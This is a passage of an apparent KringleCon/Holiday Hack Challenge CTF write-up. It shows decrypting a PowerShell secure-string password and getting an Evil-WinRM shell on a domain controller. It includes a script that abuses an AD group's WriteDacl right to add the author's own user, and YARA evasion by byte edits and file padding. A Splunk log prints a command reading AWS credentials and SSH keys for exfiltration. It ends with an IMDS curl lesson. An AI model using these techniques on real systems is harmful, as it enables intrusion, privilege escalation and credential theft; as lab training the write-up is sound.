./ps1_files/10.128.3.30_elfu_svc_shr_AppHandling.ps1:        Import-PfxCertificateToBcContainer -containerName $bcContainerName -pfxCertificatePath $certFile -pfxPassword $Credential.Password -CertificateStoreLocation "Cert:\LocalMachine\Root"
./ps1_files/10.128.3.30_elfu_svc_shr_AppHandling.ps1:                            -auth NavUserPassword `
[snip]
./ps1_files/10.128.3.30_elfu_svc_shr_GetProcessInfo.ps1:$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
[snip]

One interesting line stands out: a password seems to be defined as a PowerShell secure string. Let's take a closer look:

$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

It seems to be a password for account ELFU.LOCAL\remote_elf. What's fun with secure strings is that you can actually recover the plaintext value they hold. Here's a blog post explaining how to do so. Let's run it this sample of code on our own machine:

PS C:\Users\username> $SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
PS C:\Users\username> $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
PS C:\Users\username> [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($aPass))
A1d655f7f5d98b10!

Alright, we now have the password of account ELFU.LOCAL\remote_elf. Let's study this account:

$ proxychains pywerview get-netuser -t 10.128.1.53 -u xojpwgcens -p 'Xuuqgefth#' --username remote_elf
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
objectclass:           top, person, organizationalPerson, user
cn:                    Remote Elf User Account
sn:                    Service
givenname:             ElfU
distinguishedname:     CN=Remote Elf User Account,CN=Users,DC=elfu,DC=local
instancetype:          4
whencreated:           2021-10-29 19:25:30+00:00
whenchanged:           2022-01-04 09:29:21+00:00
displayname:           Remote Elf
usncreated:            12779
memberof:              CN=Remote Management Domain Users,CN=Users,DC=elfu,DC=local,
                       CN=Remote Management Users,CN=Builtin,DC=elfu,DC=local
usnchanged:            103149
name:                  Remote Elf User Account
objectguid:            {d74a6e5f-1354-4d5a-bfc3-afd4cb45ae3a}
useraccountcontrol:    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
badpwdcount:           0
codepage:              0
countrycode:           0
badpasswordtime:       1601-01-01 00:00:00+00:00
lastlogoff:            1601-01-01 00:00:00+00:00
lastlogon:             2022-01-04 12:52:36.739220+00:00
pwdlastset:            2021-10-29 19:25:30.961706+00:00
primarygroupid:        513
objectsid:             S-1-5-21-2037236562-2033616742-1485113978-1106
accountexpires:        9999-12-31 23:59:59.999999+00:00
logoncount:            15807
samaccountname:        remote_elf
samaccounttype:        805306368
userprincipalname:     remote_elf@elfu.local
objectcategory:        CN=Person,CN=Schema,CN=Configuration,DC=elfu,DC=local
dscorepropagationdata: 2021-10-29 19:25:30+00:00, 1601-01-01 00:00:00+00:00
lastlogontimestamp:    2022-01-04 09:29:21.901789+00:00

ELFU.LOCAL\remote_elf is a member of Remote Management Domain Users, and Remote Management Users. If we look at the descriptions of these groups, we respectively find:

Members of this group are able to winrm into domain machines. Equivilant to being in the localgroup "Remote Management Users"

Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.

So, we can remotely winrm on domain machines. If we look at script GetProcessInfo.ps1, where we found the password, we see that ELFU.LOCAL\remote_elf can Invoke-Command on 10.128.1.53, the Domain Controller.

We can use Evil-WinRM to obtain a shell on the Domain Controller:

$ proxychains evil-winrm -i 10.128.1.53 -u remote_elf -p 'A1d655f7f5d98b10!'
ProxyChains-3.1 (http://proxychains.sf.net)

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:5985-<><>-OK
*Evil-WinRM* PS C:\Users\remote_elf\Documents>

Hurray! But now, what to do? Well, when taking a look at the Remote Management groups, I stumbled upon another interesting group, called Research Department:

$ proxychains pywerview get-netgroup -t 10.128.1.53 -u xojpwgcens -p 'Xuuqgefth#' --full-data --groupname 'Research Department'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
objectclass:           top, group
cn:                    Research Department
description:           Members of this group have access to all ElfU research resources/shares.
member:                CN=fbzpsvxdeh,CN=Users,DC=elfu,DC=local, CN=dbevvcejny,CN=Users,DC=elfu,DC=local,
                       CN=xdtqjfinpd,CN=Users,DC=elfu,DC=local, CN=qcljgnpsjl,CN=Users,DC=elfu,DC=local,
                       CN=test,CN=Users,DC=elfu,DC=local
distinguishedname:     CN=Research Department,CN=Users,DC=elfu,DC=local
instancetype:          4
whencreated:           2021-10-29 19:25:31+00:00
whenchanged:           2022-01-04 09:53:03+00:00
displayname:           Research Department
usncreated:            12794
usnchanged:            105213
name:                  Research Department
objectguid:            {8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d}
objectsid:             S-1-5-21-2037236562-2033616742-1485113978-1108
samaccountname:        ResearchDepartment
samaccounttype:        268435456
grouptype:             -2147483646
objectcategory:        CN=Group,CN=Schema,CN=Configuration,DC=elfu,DC=local
dscorepropagationdata: 2022-01-04 09:45:46+00:00, 2021-12-02 15:58:33+00:00, 2021-11-30 15:28:57+00:00,
                       2021-11-01 15:11:24+00:00, 1601-01-01 00:00:00+00:00

This group has full access to research shares. It also seems as if other contestants were able to add their user to this group. If we were a member of this group, we could read the content of \\10.128.3.30\research_dep! Can we use our ELFU.LOCAL\remote_elf account to add our user to this group? Let's try:

PS C:\Users\remote_elf\Documents> net group "ResearchDepartment" xojpwgcens /add /domain
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:5985-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:5985-<><>-OK
net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Access is denied.

No such luck. So, we can't directly add our user to this group. But maybe we can find a way to do it indirectly? Let's take a look at the ACLs of the Research Department group:

PS C:\Users\remote_elf\Documents> Import-Module ActiveDirectory
PS C:\Windows> (Get-ACL -Path "AD:CN=Research Department,CN=Users,DC=elfu,DC=local").Access | Where-Object {$_.IdentityReference -Like "ELFU\remote_elf"}


ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Bingo! ELFU.LOCAL\remote_elf can write new ACLs to Research Department. We can add a new Access Control Entry (ACE) allowing ELFU.LOCAL\remote_elf to modify Research Department's member attribute.

We can create a small PowerShell script that will modify Research Department's ACL and add our user to its members:

# File acl_pwning.ps1
Import-Module ActiveDirectory

# We get the current ACL to the current R&D group
Write-Output "Getting ACL to current R&D group"
$rd_group = "AD:CN=Research Department,CN=Users,DC=elfu,DC=local"
$acl = Get-Acl -Path $rd_group

# We build the new ACE, which allows ELFU\remote_elf to add new members to the group
Write-Output "Building new ACE"
$remote_elf_sid = (Get-ADUser -Identity "remote_elf").SID
$ad_rights = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$type = [System.Security.AccessControl.AccessControlType]::Allow
$member_attr_guid = "bf9679c0-0de6-11d0-a285-00aa003049e2" # GUID to the members attribute, see https://docs.microsoft.com/en-us/windows/win32/adschema/a-member
$inheritance_type = [DirectoryServices.ActiveDirectorySecurityInheritance]::All
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($remote_elf_sid, $ad_rights, $type, $member_attr_guid, $inheritance_type)

# We update the ACL with our new ACE
Write-Output "Adding new ACE and defining new ACL"
$acl.AddAccessRule($ace)
Set-Acl -Path $rd_group -AclObject $acl

# We add our user to the group
Write-Output "Adding user to R&D group"
net group "ResearchDepartment" xojpwgcens /add /domain

# We restore the ACL of the group so that other contestants see the
# "normal" configuration
Write-Output "Restoring original ACL"
$acl.RemoveAccessRule($ace)
Set-Acl -Path $rd_group -AclObject $acl

Let's upload our file and execute it:

PS C:\Users\remote_elf\Documents> upload acl_pwning.ps1
Info: Uploading acl_pwning.ps1 to C:\Users\remote_elf\Documents\acl_pwning.ps1

Data: 1824 bytes of 1824 bytes copied

Info: Upload successful!

PS C:\Users\remote_elf\Documents> Import-Module .\acl_pwning.ps1
Getting ACL to current R&D group
Building new ACE
Adding new ACE and defining new ACL
Adding user to R&D group
The command completed successfully.

Restoring original ACL
True

Let's check our user:

$ proxychains pywerview get-netuser -t 10.128.1.53 -u xojpwgcens -p 'Xuuqgefth#' --username xojpwgcens
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
objectclass:           top, person, organizationalPerson, user
cn:                    xojpwgcens
distinguishedname:     CN=xojpwgcens,CN=Users,DC=elfu,DC=local
instancetype:          4
whencreated:           2022-01-04 11:04:31+00:00
whenchanged:           2022-01-04 11:32:09+00:00
displayname:           xojpwgcens
usncreated:            106001
memberof:              CN=Research Department,CN=Users,DC=elfu,DC=local
usnchanged:            106211
name:                  xojpwgcens
objectguid:            {7f9b8753-bdb0-4aa0-89dc-7495778c1c93}
useraccountcontrol:    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
badpwdcount:           0
codepage:              0
countrycode:           0
badpasswordtime:       1601-01-01 00:00:00+00:00
lastlogoff:            1601-01-01 00:00:00+00:00
lastlogon:             2022-01-04 11:42:55.242935+00:00
pwdlastset:            2022-01-04 11:04:31.463732+00:00
primarygroupid:        513
objectsid:             S-1-5-21-2037236562-2033616742-1485113978-1573
accountexpires:        9999-12-31 23:59:59.999999+00:00
logoncount:            1
samaccountname:        xojpwgcens
samaccounttype:        805306368
userprincipalname:     xojpwgcens@elfu.local
objectcategory:        CN=Person,CN=Schema,CN=Configuration,DC=elfu,DC=local
dscorepropagationdata: 2022-01-04 11:04:31+00:00, 1601-01-01 00:00:00+00:00
lastlogontimestamp:    2022-01-04 11:32:09.105534+00:00

It worked! We can now access the R&D share. We can use impacket's smbclient.py (did I mention how much I love impacket?)

$ proxychains smbclient.py 'elfu.local/xojpwgcens:Xuuqgefth#@10.128.3.30'
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:4242-<><>-10.128.3.30:445-<><>-OK
Type help for list of commands
# use research_dep
# ls
drw-rw-rw-          0  Thu Dec  2 17:39:42 2021 .
drw-rw-rw-          0  Tue Jan  4 09:01:34 2022 ..
-rw-rw-rw-     173932  Thu Dec  2 17:38:26 2021 SantaSecretToAWonderfulHolidaySeason.pdf
# get SantaSecretToAWonderfulHolidaySeason.pdf

We can finally download the secret file SantaSecretToAWonderfulHolidaySeason.pdf. Here's what it says:

This document contains Santa’s secrets to a wonderful Holiday Season. Santa and his teams of elves and reindeer have spent many centuries working on refining our approach to each of these items to do our small part to spread them around the globe during the holiday season. Santa appointed a special research team at Elf University, where our best scientists are devising better ways that we can practice these precepts and share them with the world.

While constantly and continuously striving to do better on each of them, we know we always fall short. In other words, there is always room for improvement. Santa urges each elf and reindeer to carefully consider each of these secret ingredients to a wonderful holiday season and to share them as a gift to all they encounter.

Kindness

Sharing

Joy

Peace

Cooperation

Community

Giving

Decency

Strength

Gentleness

Goodwill

Graciousness

Philanthropy

Integrity

Boldness

Hospitality

Patience

Caring

Sweetness

Sympathy

Understanding

Unselfishness

Congeniality

Cordiality

Friendliness

Comity

Neighborliness

Benevolence

Harmony

Magnanimity

The first ingredient is Kindness.

Objective 9:

Fitzy Shortstack's Cranberry Pi Challenge

Apparently, the elves want to run an important program, but it keeps matching Yara rules, which prevent its execution. Let's run it and see what happens:

HELP!!!

This critical application is supposed to tell us the sweetness levels of our candy
manufacturing output (among other important things), but I can't get it to run.

It keeps saying something something yara. Can you take a look and see if you
can help get this application to bypass Sparkle Redberry's Yara scanner?

If we can identify the rule that is triggering, we might be able change the program
to bypass the scanner.

We have some tools on the system that might help us get this application going:
vim, emacs, nano, yara, and xxd

The children will be very disappointed if their candy won't even cause a single cavity.

snowball2@b1cc864746ad:~$ ls
the_critical_elf_app  yara_rules
snowball2@b1cc864746ad:~$ ls yara_rules
rules.yar
snowball2@b1cc864746ad:~$ ./the_critical_elf_app
yara_rule_135 ./the_critical_elf_app

Okay, let's look at yara_rule_135 in ~/yara_rules/rules.yar:

rule yara_rule_135 {
   meta:
      description = "binaries - file Sugar_in_the_machinery"
      author = "Sparkle Redberry"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-21"
      hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
   strings:
      $s = "candycane"
   condition:
      $s
}

This rule matches because our executable seems to have the string candycane. No worries, let's modify it using sed:

snowball2@97f97ea7e15f:~$ sed -i 's/candycane/mandycane/g' ./the_critical_elf_app
snowball2@97f97ea7e15f:~$ ./the_critical_elf_app
yara_rule_1056 ./the_critical_elf_app

Now we're matching against yara_rule_1056. Let's tak a look at it:

rule yara_rule_1056 {
   meta:
        description = "binaries - file frosty.exe"
        author = "Sparkle Redberry"
        reference = "North Pole Malware Research Lab"
        date = "1955-04-21"
        hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
    strings:
        $s1 = {6c 6962 632e 736f 2e36}
        $hs2 = {726f 6772 616d 2121}
    condition:
        all of them
}

Alright, we're matching this rule because our executable contains both these hexadecimal strings. What are these strings?

$ echo '6c 6962 632e 736f 2e36' | xxd -p -r
libc.so.6
$ echo '726f 6772 616d 2121' | xxd -p -r
rogram!!

Okay, the first string seems important, so let's modify the second string:

snowball2@97f97ea7e15f:~$ sed -i 's/rogram!!/rogram?!/g' the_critical_elf_app
snowball2@97f97ea7e15f:~$ ./the_critical_elf_app
yara_rule_1732 ./the_critical_elf_app

Now we're matchin against yara_rule_1732, let's take a look at it:

rule yara_rule_1732 {
   meta:
      description = "binaries - alwayz_winter.exe"
      author = "Santa"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-22"
      hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
   strings:
      $s1 = "This is critical for the execution of this program!!" fullword ascii
      $s2 = "__frame_dummy_init_array_entry" fullword ascii
      $s3 = ".note.gnu.property" fullword ascii
      $s4 = ".eh_frame_hdr" fullword ascii
      $s5 = "__FRAME_END__" fullword ascii
      $s6 = "__GNU_EH_FRAME_HDR" fullword ascii
      $s7 = "frame_dummy" fullword ascii
      $s8 = ".note.gnu.build-id" fullword ascii
      $s9 = "completed.8060" fullword ascii
      $s10 = "_IO_stdin_used" fullword ascii
      $s11 = ".note.ABI-tag" fullword ascii
      $s12 = "naughty string" fullword ascii
      $s13 = "dastardly string" fullword ascii
      $s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
      $s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
      $s16 = "GLIBC_2.2.5" fullword ascii
      $s17 = "its_a_holly_jolly_variable" fullword ascii
      $s18 = "__cxa_finalize" fullword ascii
      $s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
      $s20 = "__libc_csu_init" fullword ascii
   condition:
      uint32(1) == 0x02464c45 and filesize < 50KB and
      10 of them
}

Oh boy, that's a lot of strings, and I'm not sure we can modify more than ten of them to prevent the matching condition. But wait, there's another condition: filesize < 50KB. If we can modify our executable size so that it's larger than 50 kB, we'll evade the matching rule.

How big is our executable?

snowball2@97f97ea7e15f:~$ ls -lh ./the_critical_elf_app
-rwxr-xr-x 1 snowball2 snowball2 17K Nov 24 15:51 ./the_critical_elf_app

Around 17 kB. Let's add around 35 kB of NULL bytes at the end of our file:

snowball2@97f97ea7e15f:~$ python3 -c "print(35000*'\x00')" >> the_critical_elf_app
snowball2@97f97ea7e15f:~$ ls -lh the_critical_elf_app
-rwxr-xr-x 1 snowball2 snowball2 51K Dec 31 13:09 the_critical_elf_app

Great, now it's bigger than 50 kB, so it shouldn't trigger our Yara rule:

snowball2@97f97ea7e15f:~$ ./the_critical_elf_app
Machine Running..
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564

Splunk!

It's time for the blue-team challenge of KringleCon! We head over to the Splunk interface to see what's what:

Eddie McJingles was a key DevOps engineer in Santa's North Pole Partner Program, but he left suddenly. Your job is to document Eddie's project.

Alright, let's document what Eddie did, by going through the tasks laid before us.

Task 1

Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.

By adapting the sample search for counting and sorting by most/least common value of a field, we can build the following filter, which will only match CommandLines that begins with git, and sort them in descending order:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie
| regex CommandLine = "^git.*$"
| stats count by CommandLine
| sort - count

We launch our search, and we can see that the most common git command is git status.

Task 2

Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!

We can go back to our previous filter, and modify our regular expression, so that our CommandLine begins with git remote, since we're looking for the configuration of an origin remote. We also sort by time in ascending order, because apparently Eddie made a mistake, so we're looking for the most recent origin definition:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie
| regex CommandLine = "^git remote.*$"
| sort by _time

We launch our search, and we see that Eddie did make a mistake:

He first defined the origin with the command git remote add origin https://github.com/elfnp3/partnerapi.git
He then deleted the remote called origin with the command git remote remove origin
He finally redefined origin with the command git remote add origin git@github.com:elfnp3/partnerapi.git

The remote repository used as the origin is therefore git@github.com:elfnp3/partnerapi.git.

Task 3

Eddie was running Docker on his workstation. Gather the full command line that Eddie used to bring up a the partnerapi project on his workstation.

Let's now filter on command lines that begin with the word docker, with the following filter:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie
| regex CommandLine = "^docker.*"
| sort by _time

We launch our search, and see that the command is either docker compose up or docker ps. The former is most likely the correct answer.

Task 4

Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.

We can use the sample search for GitHub Webhook Events to see that the elves used a repository with URL git://github.com/elfnp3/dvws-node.git.

We can search for "dvws-node" on DuckDuckGo to see that the elves' repository comes from repository https://github.com/snoopysecurity/dvws-node.

Task 5

Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.

Let's go back to filtering on CommandLine to search for commands that contain the string npm install:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie
| regex CommandLine = ".*npm install.*"
| sort by _time

We launch our search, and see that Eddie used NPM to install a package called holiday-utils-js.

Task 6

Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.

The search of the other elf returned to IP addresses: 192.30.255.113 and 54.175.69.219.

Let's see what these IPs can be:

$ whois 192.30.255.113
[...]
NetRange:       192.30.252.0 - 192.30.255.255
CIDR:           192.30.252.0/22
NetName:        GITHUB-NET4-1
NetHandle:      NET-192-30-252-0-1
Parent:         NET192 (NET-192-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS36459
Organization:   GitHub, Inc. (GITHU)
RegDate:        2012-11-15
Updated:        2021-12-14
Ref:            https://rdap.arin.net/registry/ip/192.30.252.0
[...]
$ whois 54.175.69.219
[...]
OrgName:        Amazon Technologies Inc.
OrgId:          AT-88-Z
Address:        410 Terry Ave N.
City:           Seattle
StateProv:      WA
PostalCode:     98109
Country:        US
RegDate:        2011-12-08
Updated:        2021-07-28
Comment:        All abuse reports MUST include:
Comment:        * src IP
Comment:        * dest IP (your IP)
Comment:        * dest port
Comment:        * Accurate date/timestamp and timezone of activity
Comment:        * Intensity/frequency (short log extracts)
Comment:        * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.
Ref:            https://rdap.arin.net/registry/entity/AT-88-Z


OrgAbuseHandle: AEA8-ARIN
OrgAbuseName:   Amazon EC2 Abuse
OrgAbusePhone:  +1-206-266-4064
OrgAbuseEmail:  abuse@amazonaws.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/AEA8-ARIN
[...]

The first IP is a GitHub IP address. The second one is an Amazon IP address, most likely linked to an EC2 instance. Uh oh, could this be the IP address of a remote box controlled by an attacker? One that could be used to exfiltrate data?

Let's take a look at processes that have 54.175.69.219 as a destination IP:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational dest_ip=54.175.69.219

This search only gives us one process, with PID 6791.

Let's take a closer look at this process:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational ProcessId=6791

We launch our search, and we can see that the full process_path is /usr/bin/nc.openbsd.

Task 7

Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

We can see in our previous search that the Parent Process ID of our suspicious process is 6788. Let's look for process creation events (EventCode=1) that match this PPID:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ParentProcessId=6788

We launch our search, and see the following command, exfiltrating several files:

cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts

Six different files were accessed by our suspicious process.

Task 8

Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.

If you remember, the Parent Process ID of our suspicious process was 6788. Let's see the creation of this process:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ProcessId=6788

This search shows us that the Parent Process ID of that process is 6784. So let's look for its creation:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ProcessId=6784

This search shows us that the Parent Process ID of that process is 6783. So let's look for its creation:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ProcessId=6783

In this search, we finally see that the command line launches the Bash script preinstall.sh.

By completing the tasks, we get the following message:

Thank you for helping Santa complete his investigation! Santa says you're a whiz!

Santa called us a whiz, how nice!

Objective 10:

Noxious O. D'or's Cranberry Pi Challenge

Noxious O. D'or is... I don't know, hanging in Jack Frost's restroom? It's weird. Anyway, they need help regarding IMDS (Instance MetaData Service):

Noxious O. D'or says

Hey, this is the executive restroom. Wasn't that door closed?

I’m Noxious O’Dor. And I’ve gotta say, I think that Jack Frost is just messed up.

I mean, I'm no expert, but his effort to "win" against Santa by going bigger and bolder seems bad.

You know, I’m having some trouble with this IMDS exploration. I’m hoping you can give me some help in solving it.

If you do, I’ll be happy to trade you for some hints on SSRF! I’ve been studying up on that and have some good ideas on how to attack it!

Looks like some trolls are not too happy with how old Jack is running things. Let's give them a hand and open up the Cranberry Pi:

🎄🎄🎄 Prof. Petabyte here. In this lesson you'll continue to build your cloud asset skills,

🎄🎄🎄 interacting with the Instance Metadata Service (IMDS) using curl.

🎄🎄🎄

🎄🎄🎄 If you get stuck, run 'hint' for assitance.

🎄🎄🎄

The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address 169.254.169.254. Send a couple ping packets to the server.

elfu@52bd7db1db49:~$ ping -c 3 169.254.169.254
PING 169.254.169.254 (169.254.169.254) 56(84) bytes of data.
64 bytes from 169.254.169.254: icmp_seq=1 ttl=64 time=0.068 ms
64 bytes from 169.254.169.254: icmp_seq=2 ttl=64 time=0.029 ms
64 bytes from 169.254.169.254: icmp_seq=3 ttl=64 time=0.028 ms

--- 169.254.169.254 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2056ms
rtt min/avg/max/mdev = 0.028/0.041/0.068/0.018 ms

IMDS provides information about currently running virtual machine instances. You can use it to manage and configure cloud nodes. IMDS is used by all major cloud providers.

Developers can automate actions using IMDS. We'll interact with the server using the cURL tool. Run 'curl http://169.254.169.254' to access IMDS data.

elfu@52bd7db1db49:~$ curl http://169.254.169.254
latest

Different providers will have different formats for IMDS data. We're using an AWS-compatible IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint. Run 'curl http://169.254.169.254/latest'

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest
dynamic
meta-data

IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic endpoint, which provides information about the instance itself. Repeat the request to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/dynamic
fws/instance-monitoring
instance-identity/document
instance-identity/pkcs7
instance-identity/signature

The instance identity document can be used by developers to understand the instance details. Repeat the request, this time requesting the instance-identity/document resource: 'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/dynamic/instance-identity/document
{
        "accountId": "PCRVQVHN4S0L4V2TE",
        "imageId": "ami-0b69ea66ff7391e80",
        "availabilityZone": "np-north-1f",
        "ramdiskId": null,
        "kernelId": null,
        "devpayProductCodes": null,
        "marketplaceProductCodes": null,
        "version": "2017-09-30",
        "privateIp": "10.0.7.10",
        "billingProducts": null,
        "instanceId": "i-1234567890abcdef0",
        "pendingTime": "2021-12-01T07:02:24Z",
        "architecture": "x86_64",
        "instanceType": "m4.xlarge",
        "region": "np-north-1"
}

Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON) format. Piping the output to 'jq' will make the content easier to read. Re-run the previous command, sending the output to JQ: 'curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq'

elfu@52bd7db1db49:~$ curl http://169.254.169.254/latest/dynamic/instance-identity/document | q  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   451  100   451    0     0   440k      0 --:--:-- --:--:-- --:--:--  440k
{
  "accountId": "PCRVQVHN4S0L4V2TE",
  "imageId": "ami-0b69ea66ff7391e80",
  "availabilityZone": "np-north-1f",
  "ramdiskId": null,
  "kernelId": null,
  "devpayProductCodes": null,
  "marketplaceProductCodes": null,
  "version": "2017-09-30",
  "privateIp": "10.0.7.10",
  "billingProducts": null,
  "instanceId": "i-1234567890abcdef0",
  "pendingTime": "2021-12-01T07:02:24Z",
  "architecture": "x86_64",
  "instanceType": "m4.xlarge",
  "region": "np-north-1"
}

Hmm, doesn't change much without the syntax coloring done in the Cranberry Pi, sorry about that.

In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as well. Examine the metadata elements available: 'curl http://169.254.169.254/latest/meta-data'

